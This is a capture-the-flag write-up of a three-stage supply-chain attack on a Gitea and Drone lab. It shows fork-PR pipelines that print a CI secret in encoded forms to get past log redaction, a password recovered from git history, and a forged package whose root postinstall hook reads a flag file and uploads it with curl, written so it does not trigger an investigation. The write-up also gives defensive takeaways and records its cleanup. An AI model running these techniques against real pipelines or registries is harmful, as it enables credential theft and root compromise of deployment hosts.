The Three Ways
A three-stage supply chain compromise. A fork PR reaches Drone's exec runner, CI secrets fall out of the build log past a redaction filter, and the last flag sits in a superseded package version that the registry still serves.
On this page
Flags:
| Stage | Flag |
|---|---|
| Flow | brunner{4ch13v3_4bs0lut3_fl0w_st4t3} |
| Feedback | brunner{n0_s3cr3t5_4r3_t00_s3cr3t_f0r_u} |
| Continual Learning | brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d} |
Gitea 1.21.6 gitea-the-three-ways-flow-bd58ba9d55264fd5-global.challs.brunnerne.xyz
Drone 2.25.0 drone-the-three-ways-flow-bd58ba9d55264fd5-global.challs.brunnerne.xyzOne shared instance backs all three stages. The name comes from the DevOps Three Ways (Flow, Feedback, and Continual Learning). Each stage abuses the corresponding practice: fast pipelines, open feedback loops, or autonomous delivery.
brunner_admin (1) brunner_admin/hello-drone public, 2 open PRs, NO secrets
brunner_dev (2) dev_go_brr brunner_dev/hello-drone fork
brunner_ops (3) brunner_ops/ci-bootstrap public, leaks a credential
brunner_ci (4) brunner_ops/deploy-tools private, holds registry_token
brunner_svc (5) ← hidden brunner_ops/internal-deploy never accessible (red herring)
brunner_registry (6) private org1. Stage 1: Flow
Given: brunner_dev:dev_go_brr. Drone’s exec runner builds fork PRs without an approval gate, and type: exec means host execution without container isolation. Fork the repository with a .drone.yml, replace the pipeline with cat /home/drone/flag.txt, open a PR, and read the build log.
brunner{4ch13v3_4bs0lut3_fl0w_st4t3}This primitive, where an attacker-controlled .drone.yml executes on the runner host, drives stages 1 and 2. Stage 2 targets a secret. Stage 3 runs somewhere else entirely, on the rollout agent, driven by the publish token stage 2 yields rather than by any .drone.yml.
2. Stage 2: Feedback
Every pull request runs our verification pipeline, because we believe great ideas can come from anywhere, even outside the team. Especially outside the team. […] our secrets are handled to industry-adjacent standards and our logs are redacted.
2.1 The credential in the history
brunner_ops/ci-bootstrap is public and has two commits:
bca140ecb774 read the ci password from the environment ← HEAD
57b2089b4f51 add bootstrap scriptsThe HEAD commit message shows that the parent commit contains the credential. git show 57b2089:bootstrap.sh shows:
GITEA_USER=brunner_ci
GITEA_PASSWORD=9d41c07be5a8426fa3c15b2e70f8d63a
REPOS="brunner_admin/hello-drone brunner_ops/deploy-tools brunner_ops/internal-deploy"Deleting a secret in a later commit leaves the previous blob reachable. The REPOS list also names two private repositories.
2.2 The trap
brunner_admin/hello-drone is public and has two open PRs left from prior exploitation attempts. PR 1 tries to clone the private repositories from the CI environment. PR 2 declares FEEDBACK_SECRET, DEPLOY_KEY, and GITEA_TOKEN, then prints them using hex, rev, base64, and character-by-character formatting.
These returned no secrets. Drone logs show why:
brunner_admin/hello-drone secrets: [] ← nothing to leak, ever
brunner_ops/deploy-tools secrets: 404 (not repo admin), ignore_forks: False, 0 buildsGotcha: The visible, broken PRs are a distraction. The
hello-dronerepository contains no secrets. Querying/api/repos/{slug}/secretsfirst checks if the target repository has secrets before writing exfiltration payloads.
The real target is brunner_ops/deploy-tools. Its .drone.yml declares:
- name: verify-release
environment:
REGISTRY_TOKEN:
from_secret: registry_tokenThe second obstacle is that brunner_dev gets a 404 on deploy-tools. Only brunner_ci, the account with the credential from the git history, can access it. This matches the session that produced the deploy-tools row in the repository table above. The repository README states that read-only members can open pull requests.
The fork must come from brunner_ci, not brunner_dev. Credentials from the first stage do not apply.
2.3 Redaction bypass
Fork deploy-tools as brunner_ci, commit a .drone.yml configuration that outputs the secret, and open a PR upstream. Drone builds refs/pull/1/head and merges the PR configuration, running the custom pipeline.
- 'printf %s "$REGISTRY_TOKEN" | wc -c'
- 'printf %s "$REGISTRY_TOKEN" | base64 | tr -d "\n"; echo'
- 'printf %s "$REGISTRY_TOKEN" | rev'
- 'printf %s "$REGISTRY_TOKEN" | sed "s/./& /g"'
- 'printf %s "$REGISTRY_TOKEN" | od -An -tx1 | tr -d " \n"; echo'
- 'cat /etc/platform/registry.conf'
- 'env | base64 | tr -d "\n"; echo'All encodings and the raw environment dump succeeded:
===LEN=== 40
===B64=== MDIwMTEyYzkzZjc0ZTIzYWJjOTBjOWJhODZlM2MwOGU3NzU2NDQyMg==
===REV=== 22446577e80c3e68ab9c09cba32e47f39c211020
===HEX=== 30323031...343232
REGISTRY_TOKEN=020112c93f74e23abc90c9ba86e3c08e77564422 ← decoded locally from ===ENV_B64===Gotcha: every step here encodes the token before printing it, so nothing in the build log ever shows it in the clear. The
envstep emits a single base64 blob under===ENV_B64===, decoded locally afterwards. The redundant encodings were a precaution against masking behaviour that was unknown at the time; whether Drone would have masked a plaintext token was never actually tested.
The /etc/platform/registry.conf file was also readable:
REGISTRY_URL=.../api/packages/brunner_registry/generic
REGISTRY_ORG=brunner_registry
REGISTRY_PACKAGE=rollout-bundle
ROLLOUT_LOG=/var/log/rollout/agent.log ← first sign of stage 3's agent2.4 The flag is in an old package version
Authenticating to the Gitea API with the token and calling /api/v1/user shows the owner is brunner_svc (id 5), a user that /api/v1/users/search does not return. The token lists the organizations and packages it can reach. The supplied scripts do not cover this, as they stop at exfiltrating the token. brunner_svc belongs to the private brunner_registry organization and publishes one generic package:
rollout-bundle 1.4.0 1.4.2 1.5.01.4.2/bundle/config/deploy.env contains:
REGISTRY_USER=brunner_svc
REGISTRY_PUBLISH_TOKEN="d855102401fd9a7c55cc97bed2f31707f2f93b50"
ROTATION_CODE="brunner{n0_s3cr3t5_4r3_t00_s3cr3t_f0r_u}"Gotcha: The
deploy.envfile in version1.5.0is empty. The newer release cleared the credential, but it remains in the older, published version. Fetching only the newest version misses the flag and the publish token.
3. Stage 3: Continual Learning
Our rollout agent installs the latest and greatest across the entire fleet, all by itself, no humans required. […] it runs with the utmost privilege, because we believe in it. Some colleagues asked about signing artifacts. We’ve added that to the backlog.
The configuration details were readable in deploy-tools.
Version selection in bundle.py:
def parse_version(version):
return [int(chunk) if chunk.isdigit() else -1 for chunk in version.split(".")]
def newest(versions):
return max(versions, key=parse_version, default=None)The agent uses max() without pinning or an allowlist, meaning version 9.9.9 overrides older packages.
Integrity check in verify-release.sh:
tar -xzf "$WORK/$REGISTRY_PACKAGE-$VERSION.tar.gz" -C "$WORK"
( cd "$WORK/bundle" && sha256sum -c SHA256SUMS )The agent verifies file integrity using a SHA256SUMS file inside the user-controlled archive instead of verifying authenticity. The package lacks signatures or validation.
Execution: manifest.json names hooks/postinstall, which the agent runs as root.
3.1 The bundle
The archive must match make-bundle.sh formatting so the checksum verification succeeds: ./-relative paths, sorted by path, SHA256SUMS excluding itself, and tarred with the bundle/ prefix. Note the rm and the mv: you must generate the sums outside bundle/ and move them in afterwards, or SHA256SUMS ends up listing itself and verification fails.
rm -f "$WORK/bundle/SHA256SUMS"
( cd "$WORK/bundle" && find . -type f -exec sha256sum {} \; | sort -k2 ) > "$WORK/SHA256SUMS"
mv "$WORK/SHA256SUMS" "$WORK/bundle/SHA256SUMS"
tar -czf "$WORK/rollout-bundle-$VERSION.tar.gz" -C "$WORK" bundleThe postinstall script reads the flag and exfiltrates it to the registry using the publish token from stage 2:
#!/bin/sh
# no 'set -e': a failed exfil must not abort the install before rollout.sh
TOK="020112c93f74e23abc90c9ba86e3c08e77564422"
BASE="$G/api/packages/brunner_registry/generic/diag"
{
echo "=== id ===" ; id
echo "=== hostname ===" ; hostname
echo "=== /root/flag.txt ===" ; cat /root/flag.txt
echo "=== /root listing ===" ; ls -la /root
} > /tmp/loot.txt 2>&1
curl -s -H "Authorization: token $TOK" --upload-file /tmp/loot.txt \
"$BASE/9.9.9/loot-$(date +%s).txt"
sh payload/rollout.sh || true # preserve legitimate behaviour
exit 0Notes:
- Do not use
set -e. The original hook uses it, but failed exfiltration should not stop the installation beforerollout.shruns.- The hook must execute the real payload to avoid triggering an investigation.
- Gitea generic packages return 409 when re-uploading an existing filename, so timestamping prevents silent failures on repeated runs.
Publish the package, confirm that newest() changes, and wait for the agent:
[HTTP 201] versions: ['9.9.9','1.4.2','1.5.0','1.4.0'] newest() -> 9.9.9=== id ===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
=== hostname ===
d-the-three-ways-flow-bd58ba9d55264fd5-global-854db64455-l5ksv
=== /root/flag.txt ===
brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}The agent’s hostname (d-...-854db64455-l5ksv) does not match the pod naming seen in the earlier stages. I never captured the runner’s own hostname, so this is suggestive rather than proof that the two sit on different hosts. Either way the package archive is the only component crossing that boundary, which is why signing it would matter.
4. The chain
public git history ci-bootstrap@57b2089 -> brunner_ci password
read-only + open PRs fork deploy-tools -> attacker-controlled .drone.yml
exec runner, no approval PR build -> REGISTRY_TOKEN (brunner_svc)
unpruned old version rollout-bundle 1.4.2 -> Feedback flag + REGISTRY_PUBLISH_TOKEN
max() + self-signed sums publish 9.9.9 -> postinstall as root -> /root/flag.txtWhile each configuration is defensible individually, combining them creates the vulnerability. Read-only permissions fail when members can open pull requests that execute on the runner. Removing a secret from active configurations does nothing if the old revision remains fetchable. A checksum ensures integrity but does not verify authenticity.
Two patterns repeat: failing to purge old secrets (in git history and package versions) and trusting user-supplied checksums. Recognizing the first pattern made the second easier to spot.
5. Cleanup
Verified by querying the API:
| Action | Verified |
|---|---|
rollout-bundle 9.9.9 deleted | tarball fetch → 404 |
diag package (0.0.1, 9.9.9) deleted | diag absent from package list |
PR #1 on deploy-tools closed | state=closed, open PRs = 0 |
Fork brunner_ci/deploy-tools deleted | API → 404 |
| Registry restored | 3 packages, newest() -> 1.5.0 |
6. Takeaways
- A CI system that builds pull requests from forks is executing attacker code by design. The only questions are what that code can reach and what it is handed on the way in.
ignore_forks: Falseon a repo with secrets is the whole bug in stage 2. Drone withholds secrets from fork builds by default; this repo had opted out.- Checksums inside an archive prove integrity, not authenticity.
SHA256SUMSshipping in the same tarball it describes means anyone who can publish a package can publish a self-consistent one. - A version comparison built on
max()over dotted integers has no floor. Publishing9.9.9wins permanently, and the rollout agent installs it as root. - Three separate credentials, each only reachable using the previous one, form a chain rather than a single flaw. Fixing any single link stops the exploit.
Files
exfil_drone.py: stage 2 to commit the exfil.drone.ymlto a pre-existing fork and open the PR. The script does not create the fork; forkbrunner_ops/deploy-toolsasbrunner_cifirst, or the initial contents fetch fails withKeyError: 'sha'drone_client.py: Gitea-Drone OAuth session and build/log dumperbuild_bundle.sh: stage 3 to build the maliciousrollout-bundleand publish itflags.txt